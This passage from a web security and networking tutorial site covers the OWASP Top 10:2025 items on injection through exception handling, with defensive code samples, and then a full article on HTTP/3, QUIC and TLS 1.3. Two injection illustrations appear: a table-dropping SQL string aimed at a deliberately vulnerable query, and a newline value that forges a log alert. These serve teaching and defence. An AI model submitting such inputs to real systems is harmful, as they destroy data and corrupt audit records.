1. **Identify sensitive data** per PCI-DSS, GDPR, HIPAA
2. **Encrypt at rest** using AES-256-GCM (authenticated)
3. **Encrypt in transit** via TLS 1.3 with forward secrecy
4. **Key management**: HSM or cloud KMS, never in source
5. **Rotate keys** on schedule and after compromise

## A05: Injection

Injection dropped from #3 (2021) to #5 (2025), but remains critical with 37 mapped CWEs, 62,445 CVEs, and 100% of applications showing some vulnerability. XSS (Cross-Site Scripting) remains consolidated here—it's HTML/JavaScript injection.

### Attack Surface

| Injection Type | Entry Point           | Prevention                 |
| -------------- | --------------------- | -------------------------- |
| SQL            | Database queries      | Parameterized queries, ORM |
| XSS            | HTML output           | Output encoding, CSP       |
| Command        | OS shell calls        | Avoid shell; use safe APIs |
| NoSQL          | Document queries      | Schema validation          |
| Template       | Server-side templates | Sandbox, restricted syntax |
| LDAP           | Directory queries     | Escape special characters  |

### SQL Injection Prevention

```ts title="query.ts" collapse={1-3, 18-22}
import { Pool } from "pg"

const pool = new Pool()

// VULNERABLE: string concatenation
async function getUserUnsafe(id: string) {
  // Attacker: "1; DROP TABLE users;--"
  return pool.query(`SELECT * FROM accounts WHERE id = ${id}`)
}

// SAFE: parameterized query
async function getUserSafe(id: string) {
  return pool.query("SELECT * FROM accounts WHERE id = $1", [id])
}

// SAFE: ORM with typed parameters
async function getUserORM(id: number) {
  return prisma.user.findUnique({ where: { id } })
}
```

### Content Security Policy

CSP is the primary XSS defense—it tells browsers which sources can execute scripts:

```http
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-abc123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
```

**CSP deployment:** Start with `Content-Security-Policy-Report-Only`, analyze violations, then enforce.

## A06: Insecure Design

Insecure Design dropped from #4 (2021) to #6 (2025), with 39 mapped CWEs. It targets architectural flaws that cannot be fixed by secure implementation—an insecure design cannot be saved by secure code.

### Design vs Implementation

| Insecure Design                    | Implementation Bug                     |
| ---------------------------------- | -------------------------------------- |
| No rate limiting on password reset | Rate limit bypassed via header         |
| Security questions for recovery    | SQL injection in security handler      |
| Trust boundary violation           | JWT validation missing on one endpoint |
| No business logic validation       | Off-by-one in quantity check           |

### Prevention

1. **Secure development lifecycle** with threat modeling
2. **Security requirements** in user stories
3. **Design pattern library** for authentication, authorization
4. **Plausibility checks** at all tiers (can one user really order 10,000 items?)
5. **Rate limits** on expensive operations

### Example: Cinema Attack

A cinema allowed unlimited seat reservations. Attackers reserved all seats, preventing legitimate sales, then released them last-minute.

**Design fix:** Maximum seats per session, escalating hold costs, bot detection.

## A07: Authentication Failures

Authentication Failures maintains #7 with 36 mapped CWEs, 1.1M+ occurrences, and 7,147 CVEs. The name shortened from "Identification and Authentication Failures" to emphasize the authentication focus.

### Vulnerability Patterns

| Weakness            | Exploitation                            | Control                    |
| ------------------- | --------------------------------------- | -------------------------- |
| Credential stuffing | Automated login with breached passwords | MFA, rate limiting         |
| Weak passwords      | Dictionary attacks                      | Min 12 chars, breach check |
| Session fixation    | Attacker sets session ID pre-login      | Regenerate on auth         |
| Missing logout      | Sessions persist indefinitely           | Server-side invalidation   |
| Exposed session IDs | IDs in URLs                             | Cookie-only, HttpOnly      |

### Session Management

```ts title="session.ts" collapse={1-5, 22-28}
import session from "express-session"
import RedisStore from "connect-redis"
import { createClient } from "redis"

const redisClient = createClient()

app.use(
  session({
    store: new RedisStore({ client: redisClient }),
    secret: process.env.SESSION_SECRET!,
    name: "__Host-session", // Cookie prefix binding
    resave: false,
    saveUninitialized: false,
    cookie: {
      secure: true, // HTTPS only
      httpOnly: true, // No JS access
      sameSite: "strict", // CSRF protection
      maxAge: 15 * 60 * 1000, // 15 minutes
    },
  }),
)

// Regenerate session on login (prevent fixation)
app.post("/login", async (req, res) => {
  const user = await authenticate(req.body)
  req.session.regenerate(() => {
    req.session.userId = user.id
    res.json({ success: true })
  })
})
```

### NIST 800-63B Guidelines

NIST reversed decades of password theater:

- **No complexity requirements**—users create worse passwords with forced symbols
- **No periodic rotation**—change only on evidence of compromise
- **Minimum 8 characters** (12+ recommended), max at least 64
- **Check against breached passwords**—haveibeenpwned integration
- **Allow paste**—password managers are the primary defense

## A08: Software and Data Integrity Failures

Software and Data Integrity Failures remains #8, addressing assumptions about updates, critical data, and CI/CD pipelines without verifying integrity. Distinct from A03: this category focuses on runtime integrity checks (deserialization, auto-updates), while A03 focuses on supply chain provenance.

### Integrity Patterns

| Pattern                  | Example                               | Impact              |
| ------------------------ | ------------------------------------- | ------------------- |
| Unsigned updates         | Auto-update without verification      | Malicious code      |
| Insecure deserialization | Untrusted data → object instantiation | RCE                 |
| CI/CD compromise         | Build server access                   | Supply chain attack |
| CDN modification         | JavaScript changed at CDN             | Client attacks      |

### Deserialization Safety

```ts title="deserialize.ts" collapse={1-3}
import Ajv from "ajv"

// SAFE: schema validation before use
const ajv = new Ajv()
const schema = {
  type: "object",
  properties: {
    userId: { type: "integer" },
    action: { type: "string", enum: ["read", "write"] },
  },
  required: ["userId", "action"],
  additionalProperties: false,
}

const validate = ajv.compile(schema)

function processInput(untrusted: string) {
  const data = JSON.parse(untrusted)
  if (!validate(data)) {
    throw new Error("Invalid input schema")
  }
  // Now safe to use data.userId, data.action
}
```

### CI/CD Security

1. **Signed commits**—GPG signatures on protected branches
2. **Reproducible builds**—same source → same binary
3. **Artifact signing**—verify packages before deployment
4. **Least privilege runners**—CI jobs run with minimal permissions
5. **Secret scanning**—no credentials in logs or artifacts

## A09: Logging and Alerting Failures

Renamed from "Security Logging and Monitoring Failures" to emphasize alerting—logging without alerting provides minimal value. With only 5 mapped CWEs, it's community-driven rather than data-driven, reflecting that breaches averaging 287 days undetected (IBM 2021) demonstrate detection failures.

### What to Log

| Event                    | Required Fields                 | Alert Threshold        |
| ------------------------ | ------------------------------- | ---------------------- |
| Login failure            | User, IP, timestamp, user-agent | 5 failures/minute      |
| Access denied            | User, resource, action          | Any sensitive resource |
| Input validation failure | Input (sanitized), endpoint     | 10/minute same IP      |
| Admin action             | User, action, target            | All                    |
| Rate limit triggered     | IP, endpoint, count             | All                    |

### Log Injection Prevention

```ts title="logging.ts" collapse={1-3}
import pino from "pino"

const logger = pino({
  formatters: {
    level: (label) => ({ level: label }),
  },
})

// SAFE: structured logging (not string concatenation)
logger.info({ userId: user.id, action: "login" }, "User authenticated")

// UNSAFE: user input in log string enables injection
// logger.info(`User ${username} logged in`);
// username = "admin\n[ALERT] Breach"
```

### Alerting Strategy

1. **Real-time alerts** for auth failures, privilege changes
2. **Anomaly detection** for unusual access patterns
3. **Tamper-evident storage** for logs
4. **Incident response playbook** per NIST 800-61r2
5. **Regular testing** of detection capabilities

## A10: Mishandling of Exceptional Conditions

New in 2025, this category addresses failures to prevent, detect, and respond to unusual situations—crashes, unexpected behavior, and exploitable states. With 24 mapped CWEs and 3,416 CVEs, it replaces vague "code quality" categories with specific guidance.

### Failure Modes

| Failure                | Example                          | Impact              |
| ---------------------- | -------------------------------- | ------------------- |
| Resource exhaustion    | Unhandled upload exception       | DoS                 |
| Data exposure          | Database error reveals internals | Reconnaissance      |
| Fail-open              | Exception bypasses auth check    | Unauthorized access |
| Incomplete transaction | Transfer interrupted mid-process | Financial fraud     |

### Prevention

```ts title="error-handling.ts" collapse={1-3}
import { Transaction } from "sequelize"

// SAFE: transactional rollback on any failure
async function transferFunds(from: number, to: number, amount: number) {
  const t = await sequelize.transaction()
  try {
    await Account.decrement("balance", { by: amount, where: { id: from }, transaction: t })
    await Account.increment("balance", { by: amount, where: { id: to }, transaction: t })
    await t.commit()
  } catch (error) {
    await t.rollback() // Fail closed: no partial state
    logger.error({ from, to, amount, error: error.message }, "Transfer failed")
    throw new Error("Transfer failed") // Don't leak internals
  }
}
```

**Key controls:**

1. **Local error handling**—catch at occurrence point with meaningful recovery
2. **Global exception handler**—backup for uncaught exceptions
3. **Fail closed**—transactional rollback, deny access on error
4. **Resource quotas**—rate limiting, memory limits
5. **Sanitized error messages**—no stack traces to users

## Conclusion

The OWASP Top 10:2025 reflects the evolved threat landscape based on data from 2.8M applications:

1. **Access control remains #1**—SSRF consolidated here, every endpoint needs explicit authz
2. **Misconfiguration rose to #2**—100% incidence, secure defaults are rare
3. **Supply chain is critical**—new category driven by SolarWinds, Log4Shell, npm worms
4. **Exception handling matters**—new category for fail-closed patterns
5. **Detection enables response**—logging without alerting is ineffective

Use the Top 10 as a baseline for threat modeling, code review checklists, and security testing. For high-assurance applications, ASVS (Application Security Verification Standard) provides deeper coverage.

## Appendix

### Prerequisites

- HTTP request/response model
- Web application architecture (client/server, APIs)
- Authentication flows (sessions, tokens)

### Summary

- **A01-A02** (Access Control, Misconfiguration): Deny-by-default, secure defaults
- **A03-A04** (Supply Chain, Crypto): Verify dependencies, use modern algorithms
- **A05-A06** (Injection, Design): Parameterized queries, threat modeling
- **A07-A08** (Auth, Integrity): MFA, signed artifacts
- **A09-A10** (Logging, Exceptions): Centralized alerting, fail-closed
- 2025 added Supply Chain Failures and Mishandling Exceptional Conditions
- SSRF consolidated into Broken Access Control

### References

- [OWASP Top 10:2025](https://owasp.org/Top10/) - Official specification and methodology
- [OWASP Top 10:2025 Introduction](https://owasp.org/Top10/2025/0x00_2025-Introduction/) - Methodology and data sources
- [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) - Comprehensive security requirements
- [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/) - Implementation guidance per category
- [CWE Top 25 Most Dangerous Software Weaknesses](https://cwe.mitre.org/top25/) - Complementary ranking
- [NIST SP 800-63B Digital Identity Guidelines](https://pages.nist.gov/800-63-3/sp800-63b.html) - Authentication requirements
- [NIST SP 800-61r2 Incident Handling](https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final) - Logging and response
- [RFC 6749 OAuth 2.0](https://datatracker.ietf.org/doc/html/rfc6749) - Authorization framework
- [RFC 8446 TLS 1.3](https://datatracker.ietf.org/doc/html/rfc8446) - Transport security

---

## HTTP/3 and QUIC: Transport Layer Revolution

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/networking-protocols/http3-quic-and-tls
**Category:** Web Foundations / Networking & Protocols
**Description:** HTTP/3 eliminates TCP’s head-of-line blocking by building HTTP directly on QUIC, a UDP-based transport with integrated TLS 1.3. This article covers QUIC’s design rationale, the TLS 1.3 integration that enables 1-RTT handshakes, 0-RTT security trade-offs, and the DNS/Alt-Svc discovery mechanisms browsers use for protocol negotiation.

# HTTP/3 and QUIC: Transport Layer Revolution

HTTP/3 eliminates TCP's head-of-line blocking by building HTTP directly on QUIC, a UDP-based transport with integrated TLS 1.3. This article covers QUIC's design rationale, the TLS 1.3 integration that enables 1-RTT handshakes, 0-RTT security trade-offs, and the DNS/Alt-Svc discovery mechanisms browsers use for protocol negotiation.

<figure>

![HTTP/3 runs over QUIC, which integrates TLS 1.3 into UDP-based transport. Discovery occurs via DNS SVCB/HTTPS records or Alt-Svc headers.](./http-3-runs-over-quic-which-integrates-tls-1-3-into-udp-based-transport-discover.svg)

<figcaption>HTTP/3 runs over QUIC, which integrates TLS 1.3 into UDP-based transport. Discovery occurs via DNS SVCB/HTTPS records or Alt-Svc headers.</figcaption>
</figure>

## Abstract

HTTP/3 exists because TCP's design creates unavoidable head-of-line (HOL) blocking—when one packet is lost, all streams sharing that TCP connection stall waiting for retransmission. QUIC solves this by implementing reliable, ordered delivery per-stream rather than per-connection.

**Core mental model:**

- **QUIC = UDP + TLS 1.3 + Stream Multiplexing**: A user-space transport that encrypts everything except the connection ID, enabling both rapid protocol evolution and ossification resistance
- **Stream Independence**: Each QUIC stream has its own retransmission buffer. Lost packets on stream A don't block streams B or C—the exact property HTTP/2-over-TCP lacks
- **Connection Migration**: Connections are identified by Connection IDs, not IP:port tuples. Network changes (WiFi→cellular) don't require re-handshaking
- **1-RTT/0-RTT Handshakes**: TLS 1.3 is integrated into QUIC's transport handshake, not layered on top. New connections complete in 1-RTT; resumption can send data in 0-RTT (with replay risk for non-idempotent requests)

**Protocol discovery flow:**

1. DNS SVCB/HTTPS records advertise HTTP/3 support before connection (preferred)
2. Alt-Svc headers advertise HTTP/3 on existing TCP connections (fallback)
3. Browsers race QUIC and TCP, preferring QUIC when both succeed

## Why QUIC Exists: TCP's Fundamental Limitations

### Head-of-Line Blocking

HTTP/2 multiplexes streams over a single TCP connection. TCP guarantees in-order, reliable delivery—but this guarantee applies to the entire byte stream, not individual HTTP streams.

![Diagram](./diagram-1.svg)

**The problem**: When packet 3 (belonging to Stream A) is lost, TCP cannot deliver packets 4+ to the application until packet 3 arrives. Streams B and C stall even though they have complete data waiting in the receive buffer.

**Quantified impact**: On lossy networks (2% packet loss), HTTP/2 can perform worse than HTTP/1.1 with multiple connections because all multiplexed streams suffer from every lost packet.

### TCP Ossification

TCP's success created a deployment problem: middleboxes (firewalls, NATs, load balancers) inspect TCP headers and make routing decisions based on specific field values. When TCP implementations try to use new features or modify header behavior, middleboxes drop or corrupt these packets.

**Real-world ossification examples:**

- TCP Fast Open (TFO): Despite RFC 7413 (2014), deployment stalled because ~6.5% of network paths encounter harmful middlebox interference
- ECN (Explicit Congestion Notification): Middleboxes drop packets with ECN bits set
- Multipath TCP: Requires complex handshakes to work around middlebox inspection

**QUIC's solution**: Build on UDP, which middleboxes generally pass through unchanged, and encrypt everything that could be ossified.

### Kernel-Space Constraints

TCP lives in the OS kernel. Protocol changes require kernel updates, which means:

- Years for new features to reach users (OS upgrade cycles)
- No A/B testing of transport algorithms
- Platform-specific implementations diverge

QUIC runs in user space, enabling browser/server updates to deploy new congestion control algorithms (CUBIC→BBR), flow control mechanisms, or security fixes without OS changes.

## QUIC Architecture

### Packet Structure and Encryption

QUIC encrypts almost everything. Per RFC 9000, only these fields are visible to network observers:

| Field             | Visibility              | Purpose                      |
| ----------------- | ----------------------- | ---------------------------- |
| Version (4 bytes) | Visible in long headers | Protocol version negotiation |
| Connection ID     | Visible                 | Routing to correct endpoint  |
| Packet Number     | Encrypted               | Replay protection, ordering  |
| Payload           | Encrypted               | All application data         |

**Design rationale**: Encrypting packet numbers and payload prevents middleboxes from making decisions based on these values, avoiding ossification. The Connection ID must remain visible for routing but changes periodically to prevent tracking.

### Connection IDs and Migration

TCP identifies connections by the 4-tuple: (source IP, source port, destination IP, destination port). When any value changes—common during WiFi→cellular handoffs—the connection dies.

QUIC uses Connection IDs instead. Per RFC 9000 Section 5.1:

> "The primary function of a connection ID is to ensure that changes in addressing at lower protocol layers (UDP, IP) do not cause packets for a QUIC connection to be delivered to the wrong endpoint."

**Security requirement**: Connection IDs "MUST NOT contain any information that can be used by an external observer... to correlate them with other connection IDs for the same connection."

![Diagram](./diagram-2.svg)

**PATH_CHALLENGE/PATH_RESPONSE** (RFC 9000 Sections 8.2, 19.17-19.18):

1. Initiating endpoint sends PATH_CHALLENGE with 8 random bytes on new path
2. Receiving endpoint echoes identical bytes in PATH_RESPONSE
3. Successful response confirms peer controls that address and path is viable
4. This exchange also measures RTT for the new path

**When connection migration works:**

- NAT rebinding (external address changes)
- WiFi→cellular handoffs
- IPv6 temporary address expiration

**When it doesn't:**

- Server-initiated migration (not supported in RFC 9000)
- Zero-length Connection IDs (can't demultiplex)
- Anycast/ECMP routing (packets may hit different servers)
- Load balancers without QUIC-aware routing

### Stream Multiplexing

Each QUIC stream maintains independent state: flow control windows, retransmission buffers, and delivery ordering.

![Diagram](./diagram-3.svg)

**Stream ID structure** (RFC 9114 Section 6.1):

- Bits 0-1 encode stream type: client/server initiated, bidirectional/unidirectional
- Client-initiated bidirectional streams: 0, 4, 8, 12... (used for HTTP requests)
- Server-initiated unidirectional streams: 3, 7, 11... (used for server push, control)

**HTTP/3 stream requirements:**

- Servers MUST allow at least 100 concurrent client-initiated bidirectional streams
- Each endpoint MUST create exactly one control stream (type 0x00) and one QPACK encoder/decoder stream pair

## TLS 1.3 Integration

### Why Integration Matters

Traditional HTTPS requires sequential handshakes: TCP (1-RTT) then TLS (1-2 RTT). QUIC integrates TLS 1.3 directly into the transport handshake.

![Diagram](./diagram-4.svg)

**Latency comparison:**

| Protocol Stack | New Connection | Resumption                  |
| -------------- | -------------- | --------------------------- |
| TCP + TLS 1.2  | 3 RTT          | 2 RTT                       |
| TCP + TLS 1.3  | 2 RTT          | 1 RTT (0-RTT data possible) |
| QUIC + TLS 1.3 | 1 RTT          | 0 RTT (early data)          |

### Encryption Levels

QUIC uses four encryption levels, each with distinct keys (RFC 9001 Section 4):

1. **Initial**: Connection establishment. Keys derived from Connection ID (publicly derivable—provides no confidentiality, only integrity)
2. **0-RTT**: Early data on resumption. Keys from previous session's PSK
3. **Handshake**: Key exchange completion. Keys from ECDHE shared secret
4. **1-RTT (Application)**: All application data after handshake

**Important**: Initial packets are encrypted but not confidential. Anyone can derive the keys from the Connection ID. This is by design—it prevents middlebox ossification while still providing integrity.

### 0-RTT: Speed vs. Security Trade-off

0-RTT resumption lets clients send data immediately, saving a full round trip. But it introduces replay vulnerability.

**The replay attack:**

1. Client sends 0-RTT request: "Transfer $100 to Alice"
2. Attacker records encrypted packet
3. Attacker replays packet to server
4. Server processes request twice—$200 transferred

**Why 0-RTT is vulnerable** (RFC 9001 Section 9.2): "0-RTT provides no protection against replay attacks." The server cannot cryptographically distinguish original from replayed 0-RTT data.

**Required mitigations:**

```javascript collapse={1-5, 25-35}
// 0-RTT security policy implementation
class ZeroRTTPolicy {
  allowedMethods = ["GET", "HEAD", "OPTIONS"]
  replayWindow = 60_000 // 60 seconds

  validate(request) {
    // 1. Only idempotent methods
    if (!this.allowedMethods.includes(request.method)) {
      return { allowed: false, reason: "Non-idempotent method in 0-RTT" }
    }

    // 2. Check Early-Data header (RFC 8470)
    // Intermediaries add this; origin can reject with 425 Too Early
    if (request.headers["early-data"] === "1") {
      // Origin must decide if request is safe to process
    }

    // 3. Application-level idempotency key
    if (request.idempotencyKey) {
      const cached = this.replayCache.get(request.idempotencyKey)
      if (cached) return { allowed: false, reason: "Replay detected", cachedResponse: cached }
    }

    return { allowed: true }
  }
}

// RFC 8470: 425 Too Early response
const handleEarlyData = (req, res) => {
  if (req.headers["early-data"] === "1" && !isIdempotent(req)) {
    res.status(425).set("Retry-After", "0").send("Too Early")
    return
  }
  // Process request normally
}
```

**Production guidance:**

- Cloudflare: 0-RTT allowed only for GET requests with no query parameters
- Most CDNs: 0-RTT disabled for POST/PUT/DELETE
- Financial APIs: Require idempotency keys regardless of 0-RTT

**Forward secrecy limitation**: 0-RTT data uses keys derived from the PSK (Pre-Shared Key), not fresh ECDHE. If the PSK is compromised, all 0-RTT data encrypted with it can be decrypted.

## QPACK: Header Compression for Out-of-Order Delivery

### Why HPACK Doesn't Work for HTTP/3

HTTP/2's HPACK header compression assumes in-order delivery—it maintains synchronized encoder/decoder state through implicit acknowledgment of processed frames.

Per RFC 9204 Section 1:

> "If HPACK were used for HTTP/3, it would induce head-of-line blocking for field sections due to built-in assumptions of a total ordering across frames on all streams."

The problem: HPACK references previous headers by index into a dynamic table. If stream B references an entry added by stream A, but stream A's packets haven't arrived, stream B blocks.

### QPACK's Solution

QPACK uses explicit synchronization via dedicated unidirectional streams:

| Stream Type    | Direction       | Purpose               |
| -------------- | --------------- | --------------------- |
| Encoder (0x02) | Encoder→Decoder | Dynamic table updates |
| Decoder (0x03) | Decoder→Encoder | Acknowledgments       |

**Key mechanism**: Each encoded header block includes a "Required Insert Count"—the minimum dynamic table state needed to decode it. If the decoder's current insert count is lower, the stream blocks until encoder stream updates arrive.

![Diagram](./diagram-5.svg)

**Design trade-off**: QPACK can still cause blocking if encoder stream packets are delayed. But this blocking is localized to streams that actually reference the missing dynamic table entries, not all streams.

### Static Table Differences

| Feature                    | HPACK      | QPACK      |
| -------------------------- | ---------- | ---------- |
| Static table start index   | 1          | 0          |
| Static table size          | 61 entries | 99 entries |
| `:authority` pseudo-header | Index 1    | Index 0    |

QPACK's larger static table reduces dynamic table pressure for common HTTP/3 headers like `alt-svc` and `content-security-policy`.

## Protocol Discovery and Negotiation

### DNS SVCB/HTTPS Records (RFC 9460)

DNS-based discovery enables protocol selection before any TCP/QUIC connection attempt.

```bash
# HTTPS record advertising HTTP/3 and HTTP/2 support
example.com. 3600 IN HTTPS 1 . alpn="h3,h2" port=443

# With IP hints for consistent routing
example.com. 3600 IN HTTPS 1 . alpn="h3,h2" ipv4hint="192.0.2.1" ipv6hint="2001:db8::1"

# Encrypted Client Hello (ECH) configuration
example.com. 3600 IN HTTPS 1 . alpn="h3,h2" ech="..."
```

**Key SvcParams:**

| Parameter             | Purpose                                            |
| --------------------- | -------------------------------------------------- |
| `alpn`                | Supported application protocols (h3, h2, http/1.1) |
| `port`                | Alternative port (default 443)                     |
| `ipv4hint`/`ipv6hint` | IP addresses for the service                       |
| `ech`                 | Encrypted Client Hello configuration               |
| `no-default-alpn`     | Disable implicit protocol support                  |

**Why HTTPS records matter:**

1. **Pre-connection discovery**: Client knows server supports HTTP/3 before opening any connection
2. **Apex domain support**: Unlike CNAME, HTTPS records work at zone apex
3. **ECH integration**: Encrypted SNI requires DNS-based key distribution

Per RFC 9460 Section 7.1.2:

> "if the SVCB ALPN set is ["http/1.1", "h3"] and the client supports HTTP/1.1, HTTP/2, and HTTP/3, the client could attempt to connect using TLS over TCP with a ProtocolNameList of ["http/1.1", "h2"] and could also attempt a connection using QUIC with a ProtocolNameList of ["h3"]."

### Alt-Svc Header (Fallback Discovery)

When DNS records aren't available, servers advertise HTTP/3 via HTTP headers:

```http
HTTP/2 200 OK
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
```

| Parameter  | Meaning                     |
| ---------- | --------------------------- |
| `h3`       | HTTP/3 (QUIC v1, RFC 9114)  |
| `h3-29`    | HTTP/3 draft-29 (legacy)    |
| `:443`     | Port (same origin)          |
| `ma=86400` | Max-age: cache for 24 hours |

**Upgrade flow:**

![Diagram](./diagram-6.svg)

### Browser Protocol Selection

![Diagram](./diagram-7.svg)

**Happy Eyeballs for QUIC**: Browsers race QUIC and TCP connections simultaneously. If QUIC fails (UDP blocked, middlebox interference), TCP provides immediate fallback without user-visible delay.

## Middlebox Interference and Ossification Resistance

### The UDP Deployment Advantage

QUIC uses UDP because deploying new IP-level protocols is effectively impossible on today's internet.

**Historical failures:**

- SCTP (RFC 4960, 2007): Blocked by most middleboxes despite years of existence
- DCCP (RFC 4340, 2006): Never achieved meaningful deployment
- New IP protocol numbers: Firewalls default-deny unknown protocols

UDP passes through nearly all middleboxes because it's been in use since 1980 (RFC 768). QUIC exploits this deployability while implementing its own reliability.

### Encryption as Anti-Ossification

QUIC encrypts everything middleboxes might inspect and make decisions on:

- **Packet numbers**: Encrypted to prevent selective dropping based on sequence
- **ACK frames**: Encrypted to prevent RTT estimation by observers
- **Stream IDs**: Encrypted to prevent stream-based traffic shaping

**What remains visible** (by necessity):

- Version field in long headers (for version negotiation)
- Connection IDs (for routing—but rotate to prevent tracking)
- Packet type bits (Initial, Handshake, 0-RTT, 1-RTT)

### GREASE and Version 2

GREASE (Generate Random Extensions And Sustain Extensibility) sends random values in reserved fields to prevent middleboxes from assuming specific values.

**QUIC Version 2** (RFC 9369, May 2023) exists primarily for ossification resistance:

> "The purpose of this change is to combat ossification"

Version 2 uses different cryptographic constants but is otherwise identical to Version 1. Its existence forces middleboxes to handle multiple version values, preventing v1-specific ossification.

**Deployment reality** (2024):

- QUICv2 adoption: <0.003% of domains
- QUIC Bit greasing: <0.013% of QUICv1 domains
- Ossification already observed: First byte flags field was "promptly ossified by a middlebox vendor, leading to packets being dropped when a new flag was set"

### Nation-State Interference

QUIC's encryption doesn't prevent all inspection:

- **China (GFW)**: Since April 2024, decrypts QUIC Initial packets at scale (keys derivable from Connection ID). Blocked 58,207 FQDNs via QUIC DPI (Oct 2024 - Jan 2025)
- **Iran**: DPI filtering on UDP ports with QUIC payloads in select autonomous systems

Initial packet encryption provides integrity, not confidentiality. SNI remains visible in the ClientHello within Initial packets until Encrypted Client Hello (ECH) achieves broader deployment.

## Server Support and Configuration

### Support Matrix (2025)

| Server  | HTTP/3 Support | Notes                                            |
| ------- | -------------- | ------------------------------------------------ |
| Nginx   | 1.25.0+        | Requires `--with-http_v3_module` at compile time |
| Caddy   | Default        | Zero-config HTTP/3, automatic cert management    |
| Apache  | None           | Requires reverse proxy (Cloudflare, nginx)       |
| HAProxy | 2.6+           | Experimental in 2.6, stable in 2.8+              |
| Envoy   | 1.19+          | Full support via QUICHE library                  |

### Nginx Configuration

```nginx collapse={1-5, 20-25}
# nginx.conf - HTTP/3 configuration
http {
    # ... other settings

    server {
        listen 443 ssl;
        listen 443 quic reuseport;  # QUIC listener

        http2 on;
        http3 on;

        ssl_certificate     /etc/ssl/cert.pem;
        ssl_certificate_key /etc/ssl/key.pem;

        # Advertise HTTP/3 availability
        add_header Alt-Svc 'h3=":443"; ma=86400';

        # QUIC-specific settings
        ssl_early_data on;  # Enable 0-RTT
        quic_retry on;      # Address validation

        location / {
            # ... location config
        }
    }
}
```

**Key settings:**

- `listen 443 quic reuseport`: Enable QUIC on UDP 443 with kernel load balancing
- `quic_retry on`: Require address validation token (prevents amplification attacks)
- `ssl_early_data on`: Enable 0-RTT (ensure application handles replay)

### CDN Strategy

For most deployments, CDN-based HTTP/3 is simpler:

| CDN            | HTTP/3  | 0-RTT      | Notes                            |
| -------------- | ------- | ---------- | -------------------------------- |
| Cloudflare     | Default | Restricted | 0-RTT only for safe GET requests |
| AWS CloudFront | Opt-in  | Yes        | Via distribution settings        |
| Fastly         | Default | Yes        | Full QUIC implementation         |
| Akamai         | Default | Yes        | Extensive QUIC deployment        |

**Trade-off**: CDN handles protocol complexity; you lose visibility into origin connection characteristics.

## Performance Monitoring

### Key Metrics

| Metric                       | HTTP/2 Baseline     | HTTP/3 Target       | Why It Matters            |
| ---------------------------- | ------------------- | ------------------- | ------------------------- |
| TTFB (Time to First Byte)    | 2× RTT + processing | 1× RTT + processing | Handshake reduction       |
| Connection migration success | N/A                 | >95%                | Mobile user experience    |
| 0-RTT acceptance rate        | N/A                 | 60-80%              | Returning visitor speedup |
| QUIC fallback rate           | N/A                 | <5%                 | UDP blocking detection    |

### Monitoring Implementation

```javascript collapse={1-10, 40-55}
// Protocol performance monitoring
class ProtocolMetrics {
  constructor() {
    this.metrics = new Map()
    this.thresholds = {
      quicFallbackRate: 0.05,
      zeroRTTAcceptance: 0.6,
      migrationSuccess: 0.95,
    }
  }

  recordConnection(event) {
    const { protocol, handshakeTime, ttfb, wasResumed, usedZeroRTT } = event

    // Track protocol distribution
    this.increment(`protocol.${protocol}`)

    // Track handshake performance
    this.histogram(`handshake.${protocol}`, handshakeTime)

    // Track 0-RTT usage
    if (protocol === "h3" && wasResumed) {
      this.increment(usedZeroRTT ? "0rtt.accepted" : "0rtt.rejected")
    }

    // Detect QUIC failures
    if (event.quicAttempted && protocol !== "h3") {
      this.increment("quic.fallback")
      this.recordFallbackReason(event.fallbackReason)
    }
  }

  recordMigration(event) {
    this.increment(event.success ? "migration.success" : "migration.failed")
    if (!event.success) {
      this.recordMigrationFailure(event.reason)
    }
  }

  getAlerts() {
    const alerts = []

    const fallbackRate = this.getRate("quic.fallback", "quic.attempted")
    if (fallbackRate > this.thresholds.quicFallbackRate) {
      alerts.push({
        severity: "warning",
        message: `QUIC fallback rate ${(fallbackRate * 100).toFixed(1)}% exceeds threshold`,
        action: "Check UDP 443 accessibility and middlebox interference",
      })
    }

    return alerts
  }
}
```

**What to alert on:**

- QUIC fallback rate >5%: Indicates UDP blocking or middlebox issues
- 0-RTT rejection rate >40%: Check session ticket configuration or clock skew
- Connection migration failures: May indicate load balancer misconfiguration

## Conclusion

HTTP/3 and QUIC represent a fundamental architectural shift: moving transport logic from kernel space to user space, integrating encryption as a first-class concern, and designing for network ossification from the start.

**When HTTP/3 provides significant benefit:**

- High-latency networks (satellite, intercontinental)
- Lossy networks (mobile, congested WiFi)
- Users who switch networks frequently
- Applications sensitive to tail latency

**When it provides minimal benefit:**

- Low-latency, reliable networks
- Single long-lived connections
- Applications already optimized for HTTP/2

**Implementation priorities:**

1. Enable TLS 1.3 on existing infrastructure (immediate latency win)
2. Publish DNS HTTPS records for protocol discovery
3. Deploy HTTP/3 via CDN for lowest operational burden
4. Monitor fallback rates to detect UDP blocking
5. Implement strict 0-RTT policies for non-idempotent requests

## Appendix

### Prerequisites

- TCP/IP fundamentals (3-way handshake, flow control)
- TLS 1.2/1.3 handshake mechanics
- HTTP/2 multiplexing and stream concepts
- DNS record types and resolution

### Terminology

| Term             | Definition                                                                        |
| ---------------- | --------------------------------------------------------------------------------- |
| **HOL Blocking** | Head-of-Line Blocking: when processing of later items is delayed by earlier items |
| **ALPN**         | Application-Layer Protocol Negotiation: TLS extension for protocol selection      |
| **CID**          | Connection ID: QUIC's connection identifier enabling migration                    |
| **PSK**          | Pre-Shared Key: cached session secret for resumption                              |
| **SVCB**         | Service Binding DNS record type (RR type 64)                                      |
| **ECH**          | Encrypted Client Hello: encrypts SNI in TLS handshake                             |
| **QPACK**        | HTTP/3 header compression (replaces HPACK)                                        |
| **RTT**          | Round-Trip Time: network latency measure                                          |

### Summary

- QUIC eliminates TCP HOL blocking by maintaining per-stream retransmission buffers
- TLS 1.3 integration reduces new connections to 1-RTT, resumption to 0-RTT
- 0-RTT enables immediate data transmission but requires application-level replay protection
- Connection IDs enable seamless network migration without re-handshaking
- QPACK replaces HPACK with explicit synchronization for out-of-order delivery
- DNS SVCB/HTTPS records enable pre-connection protocol discovery
- Encryption and GREASE combat middlebox ossification
